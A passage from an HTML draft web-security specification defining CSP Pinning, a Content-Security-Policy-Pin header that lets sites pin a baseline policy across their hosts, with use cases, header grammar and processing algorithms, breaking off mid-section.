data-level=\"1\" id=\"intro\"><span class=\"secno\">1. </span><span class=\"content\">Introduction</span><a class=\"self-link\" href=\"#intro\"></a></h2>\n\n\n    <p><em>This section is not normative.</em></p>\n\n\n    <p>Content Security Policy <a data-link-type=\"biblio\" href=\"#biblio-csp\">[CSP]</a> defines a mechanism through which authors\n  can manipulate the security properties of a given resource, providing the\n  ability to mitigate the risk of a broad class of content-injection attacks.\n  CSP, however, can only protect pages for which it is explicitly defined,\n  which means that authors need to ensure that they’re delivering a reasonable\n  policy for <em>every</em> page on their origin in order to have confidence\n  that a particular set of restrictions will be consistently applied.</p>\n\n\n    <p>For example, it’s often the case that generic error-handling pages are\n  constructed differently than \"real\" application pages. They’re easy to forget\n  when auditing the security headers set for an origin, and can offer attackers\n  a foot in the door if they contain injection vectors.</p>\n\n\n    <p>CSP Pinning attempts to address this concern by allowing authors to \"pin\" a\n  baseline policy to an application’s host. Conceptually, this is quite similar\n  to the approach taken by Strict Transport Security <a data-link-type=\"biblio\" href=\"#biblio-rfc6797\">[RFC6797]</a> and Public Key\n  Pinning <a data-link-type=\"biblio\" href=\"#biblio-pkp\">[PKP]</a>: we define a new header,\n  <code><a data-link-type=\"dfn\" href=\"#content_security_policy_pin\">Content-Security-Policy-Pin</a></code> which instructs a user agent\n  to remember a baseline policy that will be enforced for any document and\n  worker delivered by an application that doesn’t come with its own\n  <code>Content-Security-Policy</code> header.</p>\n\n  \n    <h3 class=\"heading settled\" data-level=\"1.1\" id=\"use-cases\"><span class=\"secno\">1.1. </span><span class=\"content\">Use Cases</span><a class=\"self-link\" href=\"#use-cases\"></a></h3>\n\n\n    <p><code>example.com</code> has a number of applications running on the same\n  origin; each has a specific set of resources it needs to load, so a single\n  Content Security Policy would become unwieldy for the whole set of resources.\n  Moreover, the admins aren’t exactly sure they have a clear understanding of\n  all the applications running on subdomains; the marketing department went a\n  bit wild with branded partnerships a year or two back.</p>\n\n\n    <p>After doing an audit of existing code, they have a good feel for the needs\n  of individual applications, and give each a suitable policy. They decide to\n  err on the side of caution, and pin a restrictive policy for pages they didn’t\n  catch:</p>\n\n  \n    <div class=\"example\">\n    <code>https://example.com/application1/</code> delivers the following HTTP\n    response headers:\n\n    \n     <pre>Content-Security-Policy-Pin: <a data-link-type=\"dfn\" href=\"#max_age\">max-age</a>: 10886400;\n                             <a data-link-type=\"dfn\" href=\"#includesubdomains\">includeSubDomains</a>;\n                             default-src https:;\n                             form-action 'none';\n                             frame-ancestors 'none';\n                             referrer no-referrer;\n                             report-uri /csp-endpoint/pinned\nContent-Security-Policy: script-src https://application1.cdn.com;\n                         style-src https://application1.cdn.com;\n                         connect-src 'self';\n                         form-action 'self'\n</pre>\n     \n\n\n     <p>While <code>https://example.com/application2/</code> delivers the following\n    HTTP response headers:</p>\n     \n\n    \n     <pre>Content-Security-Policy-Pin: <a data-link-type=\"dfn\" href=\"#max_age\">max-age</a>: 10886400;\n                             <a data-link-type=\"dfn\" href=\"#includesubdomains\">includeSubDomains</a>;\n                             default-src https:;\n                             form-action 'none';\n                             frame-ancestors 'none';\n                             referrer no-referrer;\n                             report-uri /csp-endpoint/pinned\nContent-Security-Policy: script-src https://application2.cdn.com;\n                         style-src https://application2.cdn.com;\n</pre>\n     \n\n\n     <p>Meanwhile, they’ve forgotten about the coincidentally well-named\n    <code>https://forgotten-partnership.example.com/</code>. It doesn’t send\n    any CSP headers at all, and yet, it is still protected by the pinned policy\n    for any users who have visited either Application 1 or Application 2.</p>\n     \n  \n    </div>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"2\" id=\"key-concepts\"><span class=\"secno\">2. </span><span class=\"content\">Key Concepts and Terminology</span><a class=\"self-link\" href=\"#key-concepts\"></a></h2>\n\n  \n    <h3 class=\"heading settled\" data-level=\"2.1\" id=\"terms-defined-here\"><span class=\"secno\">2.1. </span><span class=\"content\">Terms defined by this specification</span><a class=\"self-link\" href=\"#terms-defined-here\"></a></h3>\n\n  \n    <dl>\n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"pinned policy\" id=\"pinned-security-policy\">\n        pinned security policy\n      <a class=\"self-link\" href=\"#pinned-security-policy\"></a></dfn>\n    \n     \n    \n     <dd>\n      A <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#security-policy\">security policy</a> that is enforced for resources\n      delivered from a <a data-link-type=\"dfn\" href=\"#protected-host\">protected host</a> without their own policy.\n      The pinned policy’s properties are defined in <a href=\"#policy-delivery\">§3 Pinned Policy Delivery</a>.\n    \n     \n\n    \n     <dt><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"pinned-policy-cache\">pinned policy cache<a class=\"self-link\" href=\"#pinned-policy-cache\"></a></dfn>\n     \n    \n     <dd>\n      In order to persistently <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#enforce\">enforce</a> policy for an origin, the user\n      agent caches the following details about each <a data-link-type=\"dfn\" href=\"#pinned-security-policy\">pinned policy</a>:\n\n      \n      <ol>\n        \n       <li>\n          The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"protected-host\">protected host<a class=\"self-link\" href=\"#protected-host\"></a></dfn>: a hostname to which the policy applies\n          (e.g. <code>example.com</code>)\n        \n       \n        \n       <li>\n          <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"subdomains-included\">subdomains included<a class=\"self-link\" href=\"#subdomains-included\"></a></dfn>: <code>true</code> if\n          <code><a data-link-type=\"dfn\" href=\"#includesubdomains\">includeSubDomains</a></code> is asserted, <code>false</code>\n          otherwise.\n        \n       \n        \n       <li>\n          The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"policy-expiration-date\">policy expiration date<a class=\"self-link\" href=\"#policy-expiration-date\"></a></dfn>: the moment at which a pinned\n          policy is no longer applicable\n        \n       \n        \n       <li>\n          The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"policy-directive-set\">policy directive set<a class=\"self-link\" href=\"#policy-directive-set\"></a></dfn>: a set of Content Security Policy\n          directives <a data-link-type=\"biblio\" href=\"#biblio-csp\">[CSP]</a> that the user agent MUST apply, according to its\n          <a data-link-type=\"dfn\" href=\"#mode\">mode</a>, for each <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/dom/#interface-document\">Document</a></code> and <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/workers/#worker\">Worker</a></code> served from \n          <a data-link-type=\"dfn\" href=\"#protected-host\">protected host</a>, (and, potentially, its subdomains)\n          that does not provide its own policy.\n        \n       \n        \n       <li>\n          <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"mode\">mode<a class=\"self-link\" href=\"#mode\"></a></dfn>: <code>monitor</code> if the <a data-link-type=\"dfn\" href=\"#policy-directive-set\">policy directive\n          set</a> is to be <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#monitor\">monitored</a>, <code>enforce</code> if the\n          <a data-link-type=\"dfn\" href=\"#policy-directive-set\">policy directive set</a> is to be <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#enforce\">enforced</a>.\n        \n       \n      \n      </ol>\n      \n    \n     \n  \n    </dl>\n\n\n    <p>The Augmented Backus-Naur Form (ABNF) notation used in <a href=\"#policy-delivery\">§3 Pinned Policy Delivery</a>\n  is specified in RFC5234. <a data-link-type=\"biblio\" href=\"#biblio-abnf\">[ABNF]</a></p>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"3\" id=\"policy-delivery\"><span class=\"secno\">3. </span><span class=\"content\">Pinned Policy Delivery</span><a class=\"self-link\" href=\"#policy-delivery\"></a></h2>\n\n\n    <p>A server MAY instruct a user agent to pin a single <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#security-policy\">security policy</a> by\n  sending either a <code><a data-link-type=\"dfn\" href=\"#content_security_policy_pin\">Content-Security-Policy-Pin</a></code> or\n  <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only_pin\">Content-Security-Policy-Report-Only-Pin</a></code> HTTP response\n  header field along with a resource. <a href=\"#policy-processing\">§4 Pinned Policy Processing</a> defines the user\n  agent’s behavior when it receives such a response.</p>\n\n\n    <p>Once a policy is pinned, it will be either <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#enforce\">enforced</a> or <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#monitor\">monitored</a>\n  as specified for any resource that doesn’t <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#enforce\">enforce</a> or <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#monitor\">monitor</a>\n  its own policy.</p>\n\n\n    <p class=\"note\" role=\"note\">Note: Pinned policies are delivered <em>only</em> via HTTP header fields; no\n  <a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a> element delivery mechanism is defined. Moreover, pinned\n  policies override policies delivered via <a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a> elements. See\n  <a href=\"#pins-override-meta\">§7.2 Pins override &lt;meta></a> for authoring guidelines.</p>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.1\" id=\"content-security-policy-pin-header-field\"><span class=\"secno\">3.1. </span><span class=\"content\">\n      <code>Content-Security-Policy-Pin</code> Header Field\n    </span><a class=\"self-link\" href=\"#content-security-policy-pin-header-field\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"content_security_policy_pin\">Content-Security-Policy-Pin<a class=\"self-link\" href=\"#content_security_policy_pin\"></a></dfn></code> header field\n    is the mechanism for delivering a pinned policy that the user agent MUST\n    <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#enforce\">enforce</a> for any resource which is not delivered with a\n    <code>Content-Security-Policy</code> header (as described in the\n    <a href=\"#apply-pinned-policy\">§4.1.3 \n    Pin a policy to response\n  </a> algorithm.</p>\n     \n\n\n     <p>The ABNF grammar is as follows:</p>\n     \n\n    \n     <pre>\"Content-Security-Policy-Pin:\" 1#&lt;<a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#policy_token\">policy-token production from CSP, Section 4.1</a>>\n</pre>\n     \n\n\n     <p>Pinning a <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#security-policy\">security policy</a> is a somewhat dangerous operation, and\n    requires some reasonable expectation that the pinning is in fact desired by\n    a particular <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc6454#section-3.2\">origin</a>’s owner. To that end, a server MUST NOT send a\n    <code><a data-link-type=\"dfn\" href=\"#content_security_policy_pin\">Content-Security-Policy-Pin</a></code> header with a\n    <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-2\">resource</a> delivered from an <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/mixedcontent/#a-priori-insecure-url\"><i lang=\"la\">a priori</i> insecure\n    URL</a>. The threat is discussed in more detail in <a href=\"#hostile-pinning\">§5.1 Hostile Pinning</a>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: This means that pinning is only practically available over HTTPS.\n    This is intentional, as pinning is a \"powerful feature\" <a data-link-type=\"biblio\" href=\"#biblio-power\">[POWER]</a>.</p>\n     \n\n\n     <p>A server MUST NOT send more than one HTTP header field named\n    <code>Content-Security-Policy-Pin</code> with a given <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\">resource\n    representation</a>.</p>\n     \n\n\n     <p>A server SHOULD send a <code>Content-Security-Policy-Pin</code> with every\n    <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\">resource representation</a> in order to ensure that pinning takes place\n    for a given user agent no matter how it accesses a site. The value of the\n    header SHOULD be the same for every <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\">resource representation</a>, as the\n    goal is to enforce a consistent baseline policy for an entire set of hosts.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.2\" id=\"content-security-policy-report-only-pin-header-field\"><span class=\"secno\">3.2. </span><span class=\"content\">\n      <code>Content-Security-Policy-Report-Only-Pin</code> Header Field\n    </span><a class=\"self-link\" href=\"#content-security-policy-report-only-pin-header-field\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"content_security_policy_report_only_pin\">Content-Security-Policy-Report-Only-Pin<a class=\"self-link\" href=\"#content_security_policy_report_only_pin\"></a></dfn></code>\n    header field is the mechanism for delivering a pinned policy that the user\n    agent MUST <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#monitor\">monitor</a> for any resource which is not delivered with a\n    <code>Content-Security-Policy-Report-Only</code> header (as described in the\n    <a href=\"#apply-pinned-policy\">§4.1.3 \n    Pin a policy to response\n  </a> algorithm).</p>\n     \n\n\n     <p>The ABNF grammar is as follows:</p>\n     \n\n    \n     <pre>\"Content-Security-Policy-Report-Only-Pin:\" 1#&lt;<a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#policy_token\">policy-token production from CSP, Section 4.1</a>>\n</pre>\n     \n\n\n     <p>As with <code><a data-link-type=\"dfn\" href=\"#content_security_policy_pin\">Content-Security-Policy-Pin</a></code>, a server MUST NOT\n    send a <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only_pin\">Content-Security-Policy-Report-Only-Pin</a></code> header\n    with a <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-2\">resource</a> delivered from an <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/mixedcontent/#a-priori-insecure-url\"><i lang=\"la\">a priori</i>\n    insecure URL</a>. The threat is discussed in more detail in\n    <a href=\"#hostile-pinning\">§5.1 Hostile Pinning</a>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: This means that pin-reporting is only practically available over HTTPS.\n    This is intentional, as pinning is a \"powerful feature\" <a data-link-type=\"biblio\" href=\"#biblio-power\">[POWER]</a>.</p>\n     \n\n\n     <p>A server MUST NOT send more than one HTTP header field named\n    <code>Content-Security-Policy-Report-Only-Pin</code> with a given\n    <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\">resource representation</a>.</p>\n     \n\n\n     <p>A server SHOULD send a <code>Content-Security-Policy-Report-Only-Pin</code>\n    with every <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\">resource representation</a> in order to ensure that pinning\n    takes place for a given user agent no matter how they access a site. The\n    value of the header SHOULD be the same for every <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\">resource\n    representation</a>, as the goal is to monitor a consistent baseline policy\n    for an entire set of hosts.</p>\n     \n\n\n     <p class=\"issue\" id=\"issue-d8134519\"><a class=\"self-link\" href=\"#issue-d8134519\"></a>What’s the impact of reporting? If headers can be injected into\n    <code>appspot.com</code> or <code>newyorktimes.com</code>, can attackers use\n    reporting to determine what apps you’re using, or what articles you’re\n    reading? Brian\n    <a href=\"https://lists.w3.org/Archives/Public/public-webappsec/2015Feb/0164.html\">has\n    explored this space a bit</a>. Perhaps dropping reporting from pinned\n    policies would be reasonable. The main use-case I see would be discovering\n    pieces of your site that you haven’t covered with a policy (e.g. where did\n    the pin decrease attack surface?). It’s not clear we can even do that\n    without the implications Brian suggests.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.3\" id=\"csp-pins-syntax\"><span class=\"secno\">3.3. </span><span class=\"content\">Pinned Policy Syntax</span><a class=\"self-link\" href=\"#csp-pins-syntax\"></a></h3>\n     \n\n\n     <p>The grammar for a pinned policy is the same as the grammar for the\n    <code><a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#content_security_policy\">Content-Security-Policy</a></code> header, defined in \n    <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#policy-syntax\">Section 4.1 of the Content Security Policy\n    specification</a>.</p>\n     \n\n\n     <p>A pinned policy’s value MUST contain a <code><a data-link-type=\"dfn\" href=\"#max_age\">max-age</a></code>\n    directive, and MAY contain an <code><a data-link-type=\"dfn\" href=\"#includesubdomains\">includeSubDomains</a></code>\n    directive.</p>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"3.3.1\" id=\"max-age-directive\"><span class=\"secno\">3.3.1. </span><span class=\"content\">The <code>max-age</code> directive</span><a class=\"self-link\" href=\"#max-age-directive\"></a></h4>\n      \n\n\n      <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"max_age\">max-age<a class=\"self-link\" href=\"#max_age\"></a></dfn></code> directive specifies the number of\n      seconds after the reception of the\n      <code><a data-link-type=\"dfn\" href=\"#content_security_policy_pin\">Content-Security-Policy-Pin</a></code> HTTP response header\n      field during which the UA SHOULD <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#enforce\">enforce</a> the <a data-link-type=\"dfn\" href=\"#pinned-security-policy\">pinned policy</a>.</p>\n      \n\n\n      <p>The directive is defined via the following ABNF grammar:</p>\n      \n\n      \n      <pre>directive-name  = \"max-age\"\ndirective-value = 1*DIGIT\n</pre>\n      \n\n\n      <p>The <code>max-age</code> directive MUST be present within the\n      <code><a data-link-type=\"dfn\" href=\"#content_security_policy_pin\">Content-Security-Policy-Pin</a></code> header field. If it is not\n      present, the header field will be ignored (see <a href=\"#policy-processing\">§4 Pinned Policy Processing</a> for\n      user agent requirements).</p>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"3.3.2\" id=\"includesubdomains-directive\"><span class=\"secno\">3.3.2. </span><span class=\"content\">\n        The <code>includeSubDomains</code> directive\n      </span><a class=\"self-link\" href=\"#includesubdomains-directive\"></a></h4>\n      \n\n\n      <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"includesubdomains\">includeSubDomains<a class=\"self-link\" href=\"#includesubdomains\"></a></dfn></code> directive signals to\n      the user agent that the <a data-link-type=\"dfn\" href=\"#pinned-security-policy\">pinned policy</a> defined in the\n      <code><a data-link-type=\"dfn\" href=\"#content_security_policy_pin\">Content-Security-Policy-Pin</a></code> header field applies not\n      only to the <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc6454#section-3.2\">origin</a> that served the <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\">resource representation</a>,\n      but also to any <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc6454#section-3.2\">origin</a> whose <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-host\">host</a> component is a subdomain\n      of the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-host\">host</a> component of the <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\">resource representation</a>’s\n      <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc6454#section-3.2\">origin</a> (see <a href=\"#policy-processing\">§4 Pinned Policy Processing</a> for user agent requirements).</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"4\" id=\"policy-processing\"><span class=\"secno\">4. </span><span class=\"content\">Pinned Policy Processing</span><a class=\"self-link\" href=\"#policy-processing\"></a></h2>\n\n\n    <p>The user agent discovers and processes pinned policies during <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#fetching\">fetching</a>.\n  Upon receiving a response, the user agent will:</p>\n\n\n    <ol>\n     <li data-md=\"\">\n      <p>Sift through the HTTP headers according to the <a href=\"#discover-pinned-policy\">§4.1.1 \n     Discover pinned policies for response\n  </a>\n algorithm to determine if the <a data-link-type=\"dfn\" href=\"#pinned-policy-cache\">pinned policy cache</a> for the response’s\n host needs to be updated.</p>\n      \n\n     <li data-md=\"\">\n      <p>Update the <a data-link-type=\"dfn\" href=\"#pinned-policy-cache\">pinned policy cache</a>, according to the <a href=\"#pin-policy\">§4.1.2 \n    Pin policy for origin in mode\n  </a>\n algorithm.</p>\n      \n\n     <li data-md=\"\">\n      <p>Update the response’s headers to ensure that any relevant <a data-link-type=\"dfn\" href=\"#pinned-security-policy\">pinned\n policies</a> are applied, according to the <a href=\"#apply-pinned-policy\">§4.1.3 \n    Pin a policy to response\n  </a>\n algorithm.</p>\n      \n</ol>\n\n    <p class=\"issue\" id=\"issue-084d693a\"><a class=\"self-link\" href=\"#issue-084d693a\"></a>We probably need a hook in <a data-link-type=\"biblio\" href=\"#biblio-fetch\">[Fetch]</a>. In\n  particular, we need to ensure that we detect and pin a policy early enough\n  for <code>frame-ancestors</code> and <code>referrer</code> to handle blocking\n  and redirects.</p>\n\n\n    <p>Periodically, the user agent will run through the <a data-link-type=\"dfn\" href=\"#pinned-security-policy\">pinned policies</a> it\n  has stored in the <a data-link-type=\"dfn\" href=\"#pinned-policy-cache\">pinned policy cache</a>, and remove those that have\n  expired, according to the <a href=\"#expire-pinned-policies\">§4.2.2 \n    Remove expired pinned policies from the cache\n  </a> algorithm.</p>\n\n  \n    <h3 class=\"heading settled\" data-level=\"4.1\" id=\"fetching-algorithms\"><span class=\"secno\">4.1. </span><span class=\"content\">Fetching Algorithms</span><a class=\"self-link\" href=\"#fetching-algorithms\"></a></h3>\n\n  \n    <h4 class=\"heading settled\" data-level=\"4.1.1\" id=\"discover-pinned-policy\"><span class=\"secno\">4.1.1. </span><span class=\"content\">\n     Discover pinned policies for <var>response</var>\n  </span><a class=\"self-link\" href=\"#discover-pinned-policy\"></a></h4>\n\n\n    <p>Upon receiving a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://fetch.spec.whatwg.org/#response\">Response</a></code> <var>response</var> containing at least one\n  <code><a data-link-type=\"dfn\" href=\"#content_security_policy_pin\">Content-Security-Policy-Pin</a></code> header field, the user agent\n  MUST peform the following steps:</p>\n\n  \n    <ol>\n    \n     <li>\n      Let <var>origin</var> be the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-origin\">origin</a> of\n      <var>response</var>’s URL.\n    \n     \n\n    \n     <li>\n      Let <var>value</var> be the result of <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-header-parse\">parsing</a>\n      <code>Content-Security-Policy-Pin</code> in <var>response</var>’s\n      <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\">header list</a>.\n    \n     \n\n    \n     <li>\n      If <var>value</var> is not <code>null</code>, then execute the\n      <a href=\"#pin-policy\">§4.1.2 \n    Pin policy for origin in mode\n  </a> algorithm, passing in <var>value</var>, the\n      <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-origin\">origin</a> of <var>response</var>’s URL,\n      and <code>enforce</code>.\n    \n     \n\n    \n     <li>\n      Let <var>value</var> be the result of <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-header-parse\">parsing</a>\n      <code>Content-Security-Policy-Report-Only-Pin</code> in\n      <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\">header list</a>.\n    \n     \n\n    \n     <li>\n      If <var>value</var> is not <code>null</code>, then execute the\n      <a href=\"#pin-policy\">§4.1.2 \n    Pin policy for origin in mode\n  </a> algorithm, passing in <var>value</var>, the\n      <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-origin\">origin</a> of <var>response</var>’s URL,\n      and <code>monitor</code>.\n    \n     \n  \n    </ol>\n\n  \n    <h4 class=\"heading settled\" data-level=\"4.1.2\" id=\"pin-policy\"><span class=\"secno\">4.1.2. </span><span class=\"content\">\n    Pin <var>policy</var> for <var>origin</var> in <var>mode</var>\n  </span><a class=\"self-link\" href=\"#pin-policy\"></a></h4>\n\n\n    <p>Given an <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc6454#section-3.2\">Origin</a> <var>origin</var>, a parsed set of directives\n  <var>policy</var>, and a <var>mode</var> (either <code>enforce</code> or\n  <code>monitor</code>), this algorithm defines the user agent behavior that\n  results in a <a data-link-type=\"dfn\" href=\"#pinned-security-policy\">pinned policy</a> for <var>origin</var>.</p>\n\n  \n    <ol>\n    \n     <li>\n      If <var>origin</var> is an <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/mixedcontent/#a-priori-insecure-origin\"><i lang=\"la\">a priori</i> insecure\n      origin</a>, output a developer-friendly warning, and abort these steps.\n    \n     \n\n    \n     <li>\n      Let <var>host</var> be the host component of <var>origin</var>.\n    \n     \n\n    \n     <li>\n      If <var>host</var> is an IPv4 or IPv6 address, output a developer-friendly\n      warning, and abort these steps.\n    \n     \n\n    \n     <li>\n      Let <var>policy</var> be the result of executing the <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#parse-the-policy\">parse the\n      policy</a> algorithm on <var>directives</var>.\n    \n     \n\n    \n     <li>\n      If <var>policy</var> does <strong>not</strong> contain a\n      <code><a data-link-type=\"dfn\" href=\"#max_age\">max-age</a></code> directive, then output a developer-friendly\n      warning, and abort these steps.\n    \n     \n    \n     <li>\n      Let <var>subdomains</var> be <code>true</code> if an\n      <code><a data-link-type=\"dfn\" href=\"#includesubdomains\">includeSubDomains</a></code> is present in <var>policy</var>,\n      and <code>false</code> otherwise.\n    \n     \n    \n     <li>\n      Let <var>TTL</var> be the number of seconds specified in\n      <var>policy</var>’s <code><a data-link-type=\"dfn\" href=\"#max_age\">max-age</a></code> directive. If more than\n      one such directive is present, let <var>TTL</var> be the largest value\n      specified.\n    \n     \n    \n     <li>\n      Let <var>expiration</var> be the current time, plus <var>TTL</var>.\n    \n     \n    \n     <li>\n      Remove any <code><a data-link-type=\"dfn\" href=\"#max_age\">max-age</a></code> and\n      <code><a data-link-type=\"dfn\" href=\"#includesubdomains\">includeSubDomains</a></code> directives from <var>policy</var>.\n    \n     \n    \n     <li>\n      Let <var>pinned</var> be the result of executing\n      <a href=\"#pinned-policy-for-host\">§4.2.1 \n    Get the mode pinned policy for host\n  </a> for <var>mode</var> and <var>host</var>.\n    \n     \n    \n     <li>\n      If <var>pinned</var> is not <code>null</code>, then update the <a data-link-type=\"dfn\" href=\"#pinned-security-policy\">pinned\n      policy</a> <var>pinned</var> as follows:\n\n      \n      <ol>\n        \n       <li>\n          If <code><a data-link-type=\"dfn\" href=\"#max_age\">max-age</a></code> is <code>0</code>, then remove\n          <var>pinned</var> from the <a data-link-type=\"dfn\" href=\"#pinned-policy-cache\">pinned policy cache</a> and abort these\n          steps.\n        \n       \n\n        \n       <li>\n          Otherwise:\n\n          \n        <ol>\n            \n         <li>\n              Set <var>pinned</var>’s <a data-link-type=\"dfn\" href=\"#policy-expiration-date\">policy expiration date</a> to\n              <var>expiration</var>.\n            \n         \n            \n         <li>\n              Set <var>pinned</var>’s <a data-link-type=\"dfn\" href=\"#subdomains-included\">subdomains included</a> to\n              <var>subdomains</var>.\n            \n         \n            \n         <li>\n              Set <var>pinned</var>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\">policy directive set</a> to\n              <var>policy</var>.\n            \n         \n          \n        </ol>\n        \n        \n       \n      \n      </ol>\n      \n    \n     \n    \n     <li>\n      Otherwise, <var>host</var> is not a <a data-link-type=\"dfn\" href=\"#protected-host\">protected host</a>. If\n      <var>TTL</var> is not <code>0</code>, then:\n\n      \n      <ol>\n        \n       <li>\n          Let <var>pinned</var> be a new <a data-link-type=\"dfn\" href=\"#pinned-security-policy\">pinned policy</a>.\n        \n       \n        \n       <li>\n          Set <var>pinned</var>’s <a data-link-type=\"dfn\" href=\"#protected-host\">protected host</a> to <var>host</var>.\n        \n       \n        \n       <li>\n          Set <var>pinned</var>’s <a data-link-type=\"dfn\" href=\"#policy-expiration-date\">policy expiration date</a> to\n          <var>expiration</var>.\n        \n       \n        \n       <li>\n          Set <var>pinned</var>’s <a data-link-type=\"dfn\" href=\"#subdomains-included\">subdomains included</a> to\n          <var>subdomains</var>.\n        \n       \n        \n       <li>\n          Set <var>pinned</var>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\">policy directive set</a> to\n          <var>policy</var>.\n        \n       \n        \n       <li>\n          Set <var>pinned</var>’s <a data-link-type=\"dfn\" href=\"#mode\">mode</a> to <var>mode</var>. \n        \n       \n        \n       <li>\n          Add <var>pinned</var> to the <a data-link-type=\"dfn\" href=\"#pinned-policy-cache\">pinned policy cache</a>.\n        \n       \n      \n      </ol>\n      \n    \n     \n  \n    </ol>\n\n  \n    <h4 class=\"heading settled\" data-level=\"4.1.3\" id=\"apply-pinned-policy\"><span class=\"secno\">4.1.3. </span><span class=\"content\">\n    Pin a policy to <var>response</var>\n  </span><a class=\"self-link\" href=\"#apply-pinned-policy\"></a></h4>\n\n\n    <p>Upon receiving a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://fetch.spec.whatwg.org/#response\">Response</a></code> <var>response</var>, ensure that it contains\n  appropriate <code>Content-Security-Policy</code> headers by performing the\n  following steps:</p>\n\n  \n    <ol>\n    \n     <li>\n      Let <var>host</var> be the <a data-link-type=\"dfn\" 